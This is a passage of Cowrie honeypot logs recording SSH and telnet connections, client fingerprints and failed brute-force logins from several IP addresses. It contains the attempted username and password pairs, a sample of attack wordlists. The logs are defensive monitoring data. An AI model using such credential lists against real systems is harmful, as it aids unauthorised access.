-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:38.343981Z","src_ip":"91.134.240.52","session":"cc823c1dad85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@123456","message":"login attempt [user/user@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:38.703449Z","src_ip":"91.134.240.52","session":"cc823c1dad85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:39.792026Z","src_ip":"91.134.240.52","session":"cc823c1dad85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":34654,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5c701dd3897","protocol":"ssh","message":"New connection: 217.154.192.185:34654 (159.203.135.109:22) [session: f5c701dd3897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:48.134393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:48.139770Z","src_ip":"217.154.192.185","session":"f5c701dd3897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:48.233614Z","src_ip":"217.154.192.185","session":"f5c701dd3897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"p@ssw0rd","message":"login attempt [ftptest/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:48.640277Z","src_ip":"217.154.192.185","session":"f5c701dd3897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:49.737386Z","src_ip":"217.154.192.185","session":"f5c701dd3897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34664,"dst_ip":"159.203.135.109","dst_port":22,"session":"aac098ef0561","protocol":"ssh","message":"New connection: 159.203.92.129:34664 (159.203.135.109:22) [session: aac098ef0561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:15.470304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:15.474971Z","src_ip":"159.203.92.129","session":"aac098ef0561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:15.479584Z","src_ip":"159.203.92.129","session":"aac098ef0561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"akhila","password":"123456","message":"login attempt [akhila/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:15.491472Z","src_ip":"159.203.92.129","session":"aac098ef0561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:16.498419Z","src_ip":"159.203.92.129","session":"aac098ef0561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":36972,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdf3b1741a3a","protocol":"ssh","message":"New connection: 217.154.192.185:36972 (159.203.135.109:22) [session: cdf3b1741a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:36.208412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:36.213300Z","src_ip":"217.154.192.185","session":"cdf3b1741a3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:36.308661Z","src_ip":"217.154.192.185","session":"cdf3b1741a3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234Qwer","message":"login attempt [ubuntu/1234Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:36.715800Z","src_ip":"217.154.192.185","session":"cdf3b1741a3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60942,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3bdc8ee485f","protocol":"telnet","message":"New connection: 5.61.90.139:60942 (10.17.0.5:23) [session: b3bdc8ee485f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:37.040440Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:37.813030Z","src_ip":"217.154.192.185","session":"cdf3b1741a3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00128746032715,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:43.960548Z","src_ip":"177.12.183.226","session":"33f110913845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.108","src_port":65076,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2aacb99e951","protocol":"ssh","message":"New connection: 205.210.31.108:65076 (10.17.0.5:22) [session: a2aacb99e951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:47.226539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:48.347405Z","src_ip":"205.210.31.108","session":"a2aacb99e951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:49.382505Z","src_ip":"205.210.31.108","session":"a2aacb99e951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:03:58.216270Z","src_ip":"205.210.31.108","session":"a2aacb99e951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49204,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9d5baa783a5","protocol":"ssh","message":"New connection: 159.203.92.129:49204 (159.203.135.109:22) [session: f9d5baa783a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:00.793492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:00.798327Z","src_ip":"159.203.92.129","session":"f9d5baa783a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:00.802960Z","src_ip":"159.203.92.129","session":"f9d5baa783a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"akhila","password":"akhila","message":"login attempt [akhila/akhila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:00.824293Z","src_ip":"159.203.92.129","session":"f9d5baa783a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:01.830800Z","src_ip":"159.203.92.129","session":"f9d5baa783a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":43916,"dst_ip":"159.203.135.109","dst_port":22,"session":"6544584c251c","protocol":"ssh","message":"New connection: 91.134.240.52:43916 (159.203.135.109:22) [session: 6544584c251c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:21.636183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:21.658500Z","src_ip":"91.134.240.52","session":"6544584c251c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:21.730666Z","src_ip":"91.134.240.52","session":"6544584c251c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx123456","message":"login attempt [ubuntu/qazwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:22.022279Z","src_ip":"91.134.240.52","session":"6544584c251c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.045960903167725,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:23.086275Z","src_ip":"5.61.90.139","session":"b3bdc8ee485f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:23.106839Z","src_ip":"91.134.240.52","session":"6544584c251c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":50682,"dst_ip":"159.203.135.109","dst_port":22,"session":"26a6bf2a5383","protocol":"ssh","message":"New connection: 217.154.192.185:50682 (159.203.135.109:22) [session: 26a6bf2a5383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:23.709061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:23.714449Z","src_ip":"217.154.192.185","session":"26a6bf2a5383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:23.810137Z","src_ip":"217.154.192.185","session":"26a6bf2a5383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hldmserver","password":"hldmserver","message":"login attempt [hldmserver/hldmserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:24.219180Z","src_ip":"217.154.192.185","session":"26a6bf2a5383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:25.315724Z","src_ip":"217.154.192.185","session":"26a6bf2a5383","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39722,"dst_ip":"159.203.135.109","dst_port":22,"session":"786f703c8d8c","protocol":"ssh","message":"New connection: 159.203.92.129:39722 (159.203.135.109:22) [session: 786f703c8d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:45.425009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:04:45.429828Z","src_ip":"159.203.92.129","session":"786f703c8d8c","protocol":"ssh"}
